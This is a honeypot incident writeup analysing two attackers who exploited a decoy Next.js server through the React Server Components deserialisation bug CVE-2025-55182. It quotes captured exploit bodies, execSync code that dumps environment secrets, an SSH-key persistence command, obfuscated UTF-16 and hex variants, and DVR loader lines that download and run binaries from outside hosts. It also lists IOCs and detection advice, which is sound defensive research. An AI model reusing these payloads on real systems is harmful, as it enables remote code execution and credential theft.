GreyNoise watches the internet’s background noise: the scanners, botnets and opportunistic exploit traffic that hit every public IP. Through Project Swarm, anyone can run a GreyNoise sensor and keep the full PCAP of everything that hits it. This is the third writeup in the series, and a sequel to Wrong Door: that sensor caught exploit kits firing at a server they couldn’t touch. This one caught the same kind of traffic hitting a server that was actually vulnerable.
Credit: This project was inspired by John Hammond’s interview with the creator of GreyNoise, which introduced Project Swarm and the idea of running your own sensors and keeping the PCAPs.
Four $4/month DigitalOcean droplets, one per region, each running a different GreyNoise profile so they attract different traffic. Outbound traffic is disabled on every sensor.
| Sensor | Region | Profile | Bait |
|---|---|---|---|
| Bold Earwig | Sydney (SYD1) | Apache Tomcat 8.0.45 - VULNERABLE | CVE-2017-12617 JSP upload → webshell |
| Pensive Markhor | Singapore (SGP1) | Cowrie Telnet Honeypot | Telnet logins + shell sessions (IoT botnets) |
| Vibrant Quetzal | San Francisco (SFO2) | React Server Components - VULNERABLE | CVE-2025-55182 |
| Festive Goat | Frankfurt (FRA1) | WordPress MasterStudy LMS - VULNERABLE | Plugin LFI / traversal (2024 CVE cluster) |
![]() |
This writeup focuses on the San Francisco sensor, which runs a real Next.js app vulnerable to CVE-2025-55182, the React Server Components deserialisation bug nicknamed React2Shell. The profile is depth:full: it doesn’t just pretend to be vulnerable, it actually executes what the exploit asks for, inside a container, and returns the result. It listens on 80, 443 and 3000, and every response carries X-Powered-By: Next.js and Vary: rsc, next-router-state-tree…, so a scanner has no trouble recognising it.
The sensor registered at 2026-10-14 01:53 UTC and logged 25,419 sessions in its first 24 hours. Filtered to classification:malicious that dropped to 626, and adding "http.method-POST:>0" left 22.


Next.js Server Actions accept a multipart body in React’s “Flight” format, which can reference other parts of the request ($1, $@0, $B1337). CVE-2025-55182 lets a crafted body walk those references into JavaScript internals: $1:__proto__:then turns the object into a fake promise, and $1:constructor:constructor reaches the Function constructor, so the string in _prefix runs as code. Any request with a Next-Action header is enough to reach the parser, and Next-Action: x works without knowing a real action ID. The attacker then needs a way to read the result, and both attackers here used the same trick: throw an error and put the output in its digest. Next.js sends a NEXT_REDIRECT digest back as a 303 with an x-action-redirect header, and any other error’s digest comes back in a 500 body as E{"digest":"…"}.
Two attackers achieved remote code execution on a React2Shell honeypot within seven hours of each other, and the capture records exactly what each did with it. The first, 96.62.224[.]241, ran a vulnerability check that came back positive (303 with its W70384 marker in x-action-redirect), then within a second used the same bug to dump the process environment, base64-encoded through the error digest, and to append an SSH key with the comment mold-spore to ~/.ssh/authorized_keys. That last payload appears to have broken its own JSON with unescaped quotes, and the response carried Next.js’s generic error digest rather than the attacker’s PERSIST_OK, so the persistence step most likely never ran. The same host also sent a PHPUnit .env stealer and probed /actuator/env, /api/admin and /dashboard. The probe’s multipart boundary, marker format, PHPUnit payload and follow-up requests match a host that hit the Tomcat sensor in Wrong Door, where the vulnerability check failed and the kit moved on: the same toolkit, at the wrong door and then at the right one. The second attacker, 77.90.19[.]119, encoded its JSON as UTF-16LE and its module, function and command names as hex and base64, confirmed execution with shell arithmetic (echo $((44163*40301)) → 1779813063), then ran pwd, env and find /opt/s3remote -maxdepth 2 -name '.env*', each step using the last one’s output. The honeypot’s environment held no secrets and outbound traffic is blocked, so neither attacker got anything of value. The rest of the day’s POSTs were familiar from the other sensors: the same PHP-CGI dropper host that hit the Tomcat and WordPress sensors, a fourth RedTail node, a TBK DVR loader, Androxgh0st every hour, and a Spark RAT client beaconing to the sensor’s IP.
flowchart LR
subgraph A [96.62.224.241 - 23:23 UTC, ~1 second]
A1[NEXT_REDIRECT probe<br/>marker W70384] -->|303 x-action-redirect| A2[execSync env<br/>digest = base64 output]
A2 -->|500 + env| A3[append SSH key<br/>mold-spore]
A3 -.->|generic digest:<br/>payload broke| A4[(persistence failed)]
end
subgraph B [77.90.19.119 - 06:25 UTC, ~1 second]
B1["echo $((44163*40301))"] -->|303 1779813063| B2[pwd]
B2 -->|/opt/s3remote/my-app| B3[env]
B3 --> B4["find .env*"]
end
W[Same kit on the Tomcat sensor<br/>Wrong Door] -. probe failed, moved on .-> A1
sessions-2026-10-14T10_01_45.118Z-to-2026-10-15T10_01_45.118Z-page-1.pcap (24-hour window filtered to malicious POST sessions; 590 packets, 22 TCP sessions, 2026-10-14 10:09 to 2026-10-15 09:46 UTC) → Wireshark / tshark.…T10_00_05.844Z…page-1.pcap), mostly .env crawling plus the Spark beacon.text/x-component responses. tshark’s http.file_data decompresses them; the digests are base64 → CyberChef or base64 -d.tshark -r sessions-...-page-1.pcap -Y 'http.response' -T fields \
-e tcp.stream -e frame.time_utc -e http.response.code -e http.file_data
96.62.224[.]241 opened five connections at 2026-10-14 23:23:13 UTC, four to port 3000 and one to port 80, and was done by 23:23:14. The order below is reconstructed from the request timestamps.
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}",
"_response":{"_prefix":"throw Object.assign(new Error('NEXT_REDIRECT'),{digest:'NEXT_REDIRECT;push;/login?a=W70384;307;'});",
"_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
No shell, no process: the injected code only throws a redirect. A patched server would ignore it. This one answered:
HTTP/1.1 303 See Other
x-action-redirect: /login?a=W70384;push
content-type: text/x-component
The marker came back, which proves the code ran. On the Tomcat sensor in Wrong Door, 23.94.145[.]124 sent this exact probe, with the same W##### marker format, and got Tomcat’s default page instead. The multipart boundary on its own proves nothing: ----WebKitFormBoundaryx8jO2oVc6SWP3Sad is hardcoded in maple3142’s original public proof of concept, and The Raven File counted it on 708 hosts. Attacker 2 below uses it too.

"_prefix":"var r;try{if(process.mainModule&&process.mainModule.require){
r=process.mainModule.require('child_process').execSync('env 2>&1|head -300')
}else{var rr=process.binding('spawn_sync').spawn({file:'/bin/sh',args:['sh','-c','env 2>&1|head -300'],…
It runs env and keeps the first 300 lines. If process.mainModule isn’t available (it isn’t in some bundled or ESM builds), it falls back to Node’s internal process.binding('spawn_sync') to start /bin/sh directly. Someone wrote this to work across Next.js versions. The output was base64-encoded into the error digest, and the sensor returned it:
HTTP/1.1 500 Internal Server Error
content-type: text/x-component
0:{"a":"$@1","f":"","b":"cb8PIhQn6HF1ofCqYRKlB"}
1:E{"digest":"bnBtX2NvbmZpZ191c2VyX2FnZW50PW5wbS8xMS42LjIgbm9kZS92MjUuMi4x…"}
Decoded, it’s the honeypot’s environment: a Next.js app running under Node in a podman container, started with next start, and no API keys, database URLs or cloud credentials. A real Next.js deployment’s environment is exactly where those live, which is why this is the first thing the kit asks for. It also fetched /actuator/env, the Spring Boot endpoint that exposes the same kind of data.


"_prefix":"var r;try{r=process.mainModule.require('child_process').execSync('mkdir -p ~/.ssh &&
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMwAADfOcKACwWqcC6mztthERX/w/ab0lZhi/j0Hi mold-spore"
>> ~/.ssh/authorized_keys && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys && echo PERSIST_OK')}
catch(e){r='ERR:'+e.message}throw Object.assign(new Error('x'),{digest:Buffer.from(String(r))…
Append the attacker’s key to root’s authorized_keys, fix the permissions and print PERSIST_OK, base64-encoded through the digest. If it had worked, the response would carry UEVSU0lTVF9PSwo= or an ERR: message. It carried 1641357019, the kind of numeric digest Next.js generates for an error it didn’t expect. The likely reason is in the payload itself: the key is wrapped in bare double quotes inside a JSON string, which ends the string early and breaks the JSON. The attacker’s own quoting bug most likely stopped the persistence step. The PCAP can’t prove the command didn’t run, but nothing in the response says it did.
Even if it had worked, it would have achieved little: the key would sit inside a container with no SSH service of its own, on a sensor whose management SSH runs on a high port with key-only authentication.

Searching the Swarm UI for the source IP across all four sensors found eight sessions from 96.62.224[.]241, all on this sensor. Alongside the three React2Shell requests, the kit ran a fixed set of other checks in parallel:
X-Middleware-Subrequest: middleware: /admin, /api/admin, /api/user/me, /api/profile, /dashboard. If the second copy returns a page the first doesn’t, auth is bypassed. All ten got 404./actuator/env, the endpoint that exposes the environment of a Spring app.eval-stdin.php payload to port 80, which builds its marker as "MOLDPU".(6*7) and steals .env files. It sent this again at 04:01 the next morning.Every request carried a different browser user-agent (Windows, macOS, Linux, iPhone), picked per request rather than per session.
The same search for 23.94.145[.]124, the host from Wrong Door, found six sessions, all on the Tomcat sensor and all at 04:16 on 10-15. They contain the same modules:
| Wrong Door (Tomcat) | Right Door (React) | |
|---|---|---|
| Source | 23.94.145[.]124 (6 sessions, Tomcat only) | 96.62.224[.]241 (8 sessions, React only) |
| Network | AS207043 (AbuseIPDB: DEDIK Services, Buffalo US) | AS207043 (AbuseIPDB: Brander Group, Frankfurt DE) |
| React2Shell probe | public-PoC boundary, marker W97877 | same, marker W70384 |
| Probe result | 200, Tomcat default page | 303, x-action-redirect with the marker |
| Middleware-bypass pairs | /admin, /api/admin, /api/user/me, /api/profile, /dashboard | the same five paths |
| Other checks | /actuator/env, 379-byte MOLDPU42 PHPUnit stealer | the same |
| Next step | none | env dump, SSH key mold-spore |
Two IPs, one toolkit, one network: both addresses sit in AS207043, even though AbuseIPDB’s lookup names a different provider and city for each. Each IP only hit one of the sensors, which suggests the kit splits its target list across many source addresses. The MOLDPU marker and the mold-spore key comment suggest the author’s own name for it. On a server that failed the check, it looked like a scanner. On one that passed, it turned out to be a full exploitation chain, and the only difference in its behaviour was the React2Shell result.


77.90.19[.]119 opened one connection at 2026-10-15 06:25:40 UTC (its only session on any of the four sensors) and sent four POST /test requests and a GET /, all within a second. The POSTs all carry Next-Action: x. The path doesn’t matter: any route reaches the vulnerable parser.

The JSON in each request is encoded as UTF-16LE (Content-Type: text/plain; charset=utf-16le), so every character is followed by a null byte and string-matching WAF rules for __proto__ or child_process don’t see them. The wrapper is the same public-PoC boundary attacker 1 used. The headers change partway through, though. The marker check carries a bare header set with two made-up Next.js request-ID headers. Once it passed, the command requests switched to a full Chrome 142 profile: sec-ch-ua headers, a Referer, Accept-Language: zh-CN,zh;q=0.9,en;q=0.8, new ID values and a third ID header spelled X-Nextjs-Html-Request-ld with a lowercase L. That looks like a check module and an exploit module stitched together in one tool. The language header is easy to set, so it says something about whoever configured the tool, not where they are. Inside, nothing sensitive appears in plain text:
var c=Buffer.from;
var m=process.mainModule.require(c('6368696c645f70726f63657373','hex').toString()); // child_process
var res=m[c('6578656353796e63','hex').toString()](c('cHdk','base64').toString()); // execSync('pwd')
| # | Command | Result |
|---|---|---|
| 1 | echo $((44163*40301)) (plain) | 303, x-action-redirect: /login?a=1779813063 |
| 2 | pwd (base64 cHdk) | /opt/s3remote/my-app |
| 3 | env (base64 ZW52) | the same environment as attacker 1 |
| 4 | find /opt/s3remote -maxdepth 2 -name '.env*' 2>/dev/null | generic digest, no .env files returned |
The first marker is a neat trick. 1779813063 is 44163 × 40301, and it only comes back if a shell actually evaluated $((…)), so a fake honeypot that just echoes input back can’t pass it. Step 4 searches the parent of the directory pwd returned, so the kit uses its own output to aim the next command, all within a second. Like attacker 1, it went straight for configuration secrets.

The other POST sessions show the same internet as the Tomcat and WordPress sensors:
130.12.180[.]32 sent the same CVE-2024-4577 dropper (103.170.217[.]170/x86, pula.exe) at 23:00 UTC. It has now hit all three web sensors: Tomcat in Sydney, WordPress in Frankfurt and React in San Francisco.160.250.132[.]238, sent both Apache traversal encodings at 19:56. Next.js answered 404./device.rsp?…&mdc=cd /tmp; wget …; chmod 777 *; ./arm7 …) from two hosts. 160.119.66[.]206 pulls net.arm7 from its own /bins/ directory, so the scanner is also the download server. 45.198.224[.]89, which sent the same thing to the WordPress sensor, pulls arm7 from its neighbour 45.198.224[.]158.175.195.238[.]137 sent a router syslog command injection (/cgi-bin/ViewLog.asp, user-agent r00ts3c-owned-you) whose download URL is literally http://YOURIP/main_arm7. Whoever ran it never filled in their own server.CVE-2023-20198.POST 0x[]=androxgh0st roughly every hour from 78.153.140[.]40 and .50, eight times in the day.POST /api/client/update?arch=amd64&…&os=windows on port 443 with the user-agent SPARK COMMIT: 08059e95… and an encrypted body. That’s the client side of Spark, an open-source Go remote-access tool, asking its server for updates, and the server it expected was this sensor’s address. It arrived from a Tor exit node (below), so the client was routing its traffic through Tor and the source IP says nothing about who runs it. The most likely story is an infected or test machine still configured for a Spark server that used to live on this DigitalOcean address. One beacon isn’t enough to say more.| IP | Seen as | Provider (ASN) | Location | AbuseIPDB |
|---|---|---|---|---|
96.62.224[.]241 | mold kit, RCE | Brander Group (AS207043) | Frankfurt, DE | 100%, 511 reports from 114 sources, first reported 2026-10-04 |
77.90.19[.]119 | obfuscated RCE | HostBrr (AS214902) | Frankfurt, DE | 21%, 4 reports, first reported 2026-10-03 |
160.250.132[.]238 | RedTail | VPS4U Technology (AS150895) | Ho Chi Minh City, VN | 100%, 4,914 reports since 2026-01-15, mostly SSH brute force |
185.100.87[.]136 | Spark beacon | FlokiNET (AS200651) | Bucharest, RO | 100%, 26,563 reports since 2021, Tor exit node |




The two attackers that got code execution are both on Frankfurt hosting, and both addresses were first reported less than two weeks before they reached this sensor. That’s where the similarity ends. The mold kit’s IP picked up 511 reports in ten days because it sends a dozen loud requests to everything it finds. The obfuscated attacker’s IP has four. It made one connection to this sensor and none to the other three, which suggests it worked from a list already filtered down to Next.js servers instead of spraying the internet. A quiet tool barely shows up in reputation data, even when it’s the one that got in. The RedTail node’s reports are mostly SSH brute force, which matches RedTail’s other way of spreading.
Neither DVR payload URL, nor either host, had any entry on URLhaus when I checked on 2026-10-17. These are short-lived loaders, and nobody had reported them yet. With the sensors blocking outbound traffic, there’s no sample to look at either, so the IOCs above are all there is.
| Phase | Action |
|---|---|
| Reconnaissance | 96.62.224[.]241 sends a React2Shell NEXT_REDIRECT probe; 303 with marker W70384 confirms the sensor is vulnerable |
| Initial Access | Next.js middleware-bypass pairs (CVE-2025-29927) on five admin and API paths; all 404 |
| Execution | `execSync(‘env 2>&1 |
| Credential Access | Environment dump and /actuator/env fetch looking for secrets; PHPUnit .env stealer on port 80 |
| Persistence | SSH key mold-spore appended to ~/.ssh/authorized_keys; payload’s own quoting most likely broke it |
| Defense Evasion | 77.90.19[.]119 encodes its JSON as UTF-16LE and its module, function and commands as hex / base64 |
| Execution | Shell arithmetic marker $((44163*40301)) proves real command execution |
| Discovery | pwd, then find /opt/s3remote -maxdepth 2 -name '.env*' |
| Timestamp (UTC) | Event |
|---|---|
| 2026-10-14 01:53:40 | Vibrant Quetzal registered with GreyNoise |
| 2026-10-14 10:09:03 | 45.198.224[.]89 TBK DVR loader → 404 |
| 2026-10-14 15:05:41 | 160.119.66[.]206 TBK DVR loader → 404 |
| 2026-10-14 15:20:08 | Cisco IOS XE CVE-2023-20198 request (user-agent CVE-2023-20198) → 404 |
| 2026-10-14 19:56:00 | RedTail node 160.250.132[.]238, both Apache traversal encodings → 404 |
| 2026-10-14 22:05:43 | 175.195.238[.]137 ViewLog.asp injection with YOURIP placeholder → 400 |
| 2026-10-14 23:00:34 | 130.12.180[.]32 PHP-CGI dropper → 404 (third sensor) |
| 2026-10-14 23:23:13 | 96.62.224[.]241 React2Shell probe → 303, marker W70384 |
| 2026-10-14 23:23:13 | Same host: /actuator/env → 404; env dump via React2Shell → 500 with base64 environment; PHPUnit MOLDPU stealer on port 80 → 404 |
| 2026-10-14 23:23:14 | Same host: SSH key mold-spore persistence attempt → 500, generic digest |
| 2026-10-14 23:23:13 – 15 | Same host: middleware-bypass pairs on /admin, /api/admin, /api/user/me, /api/profile, /dashboard → all 404 |
| 2026-10-15 01:27 – 09:45 | Androxgh0st from 78.153.140[.]40 / .50, roughly hourly, 8 sessions |
| 2026-10-15 04:01:19 | 96.62.224[.]241 sends the PHPUnit stealer again → 404 |
| 2026-10-15 06:25:40 | 77.90.19[.]119 UTF-16 React2Shell: arithmetic marker → 303 1779813063; pwd → /opt/s3remote/my-app |
| 2026-10-15 06:25:41 | Same host: env → 500 with environment; find … '.env*' → 500, nothing found |
| 2026-10-15 09:46:20 | Spark RAT client update check from 185.100.87[.]136 on port 443 |
| Type | Value |
|---|---|
| IP (React2Shell RCE, “mold” kit) | 96.62.224[.]241 (Brander Group, AS207043, DE; same ASN as 23.94.145[.]124) |
| IP (same kit, Wrong Door Tomcat sensor) | 23.94.145[.]124 |
| IP (React2Shell RCE, obfuscated) | 77.90.19[.]119 (HostBrr, AS214902, DE) |
| IP (PHP-CGI dropper, all three web sensors) | 130.12.180[.]32 |
| IP (RedTail) | 160.250.132[.]238 (VPS4U, AS150895, VN) |
| IP (TBK DVR loader) | 45.198.224[.]89, 160.119.66[.]206 |
| URL (DVR payloads) | hxxp://160.119.66[.]206/bins/net.arm7, hxxp://45.198.224[.]158/arm7 |
| IP (Androxgh0st) | 78.153.140[.]40, 78.153.140[.]50 |
| IP (Spark RAT client) | 185.100.87[.]136 (Tor exit, FlokiNET, AS200651, RO) |
| SSH public key | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMwAADfOcKACwWqcC6mztthERX/w/ab0lZhi/j0Hi mold-spore |
| Multipart boundary | ----WebKitFormBoundaryx8jO2oVc6SWP3Sad (public PoC default, both attackers; weak on its own) |
| Markers | W70384, W97877 (/login?a=W#####), MOLDPU42, PERSIST_OK, 1779813063 (44163*40301) |
| Request headers | Next-Action: x; Content-Type: text/plain; charset=utf-16le inside multipart parts |
| Hex strings | 6368696c645f70726f63657373 (child_process), 6578656353796e63 (execSync) |
| User-Agent | SPARK COMMIT: 08059e95dacafe0bf6e5782f8e2c8ec9cd8c5a17, r00ts3c-owned-you, CVE-2023-20198, libredtail-http |
| Technique | ID | Description |
|---|---|---|
| Vulnerability Scanning | T1595.002 | NEXT_REDIRECT marker probe and arithmetic marker before any real command |
| Exploit Public-Facing Application | T1190 | CVE-2025-55182 against the Next.js Server Actions parser |
| JavaScript | T1059.007 | Injected _prefix code run through the Function constructor |
| Unix Shell | T1059.004 | execSync and spawn_sync running /bin/sh -c commands |
| Obfuscated Files or Information | T1027 | UTF-16LE JSON, hex-encoded module and function names, base64 commands |
| System Information Discovery | T1082 | env dump |
| File and Directory Discovery | T1083 | pwd, find /opt/s3remote -maxdepth 2 -name '.env*' |
| Credentials In Files | T1552.001 | Hunting .env files and environment secrets; PHPUnit .env stealer |
| SSH Authorized Keys | T1098.004 | mold-spore key appended to ~/.ssh/authorized_keys (most likely failed) |
React2Shell is being exploited for secrets, not just scanned for. Both attackers went from proof of execution to reading the environment in under a second. On a real Next.js deployment that environment holds API keys, database URLs and cloud credentials. Patch React and Next.js, and treat any server that was exposed while vulnerable as having leaked every secret in its environment: rotate them.
Detect on the response, not the request. A 303 with an x-action-redirect header, or a 500 whose text/x-component body contains E{"digest":"…"} with a long base64 value, on a request that carried Next-Action: x, means the code ran. Requests alone only show attempts.
String-matching WAF rules miss the careful attackers. UTF-16LE encoding and hex-encoded module names hide every keyword a simple rule looks for. Normalise encodings before matching, or detect on behaviour: a node process spawning sh, env or find.
Keep secrets out of the process environment where you can. Both chains asked for env first. Secrets pulled at runtime from a secrets manager, with short-lived credentials, are worth far less to an attacker who gets one command.
The kit looked like a scanner until it found a vulnerable target. On the Tomcat sensor this toolkit sent a probe and left. Here it ran its full chain within a second. Low-and-slow “scanner” traffic deserves a second look when it hits something you actually run.
Honeypots get fingerprinted too. Attacker 2’s arithmetic marker exists to tell a real shell from a fake one. This sensor passed because it really runs the vulnerable app, which is also why its container was built with nothing worth stealing.
A day after Wrong Door, the same toolkit turned up at a server it could actually exploit. On the Tomcat sensor it sent one probe and moved on. On the React Server Components sensor the probe came back positive, and within the same second the kit dumped the environment and tried to plant an SSH key, a step that most likely failed on its own badly quoted JSON. Seven hours later a second, more careful attacker did the same job with its commands hidden in UTF-16, hex and base64, using each command’s output to aim the next.
Both went straight for the environment and .env files. That’s what React2Shell is being used for: not defacements or noisy miners, but quietly reading the secrets a Next.js app keeps in its environment. The honeypot had none to give, and with outbound traffic blocked nothing could be downloaded either.
The rest of the day looked like the other sensors: the same PHP-CGI dropper host now seen on all three web sensors, a fourth RedTail node, DVR loaders, Androxgh0st and one curious Spark RAT beacon. Running several sensors at once is what makes those links visible, and it’s what turned Wrong Door’s “scanner” into an exploit kit in this one.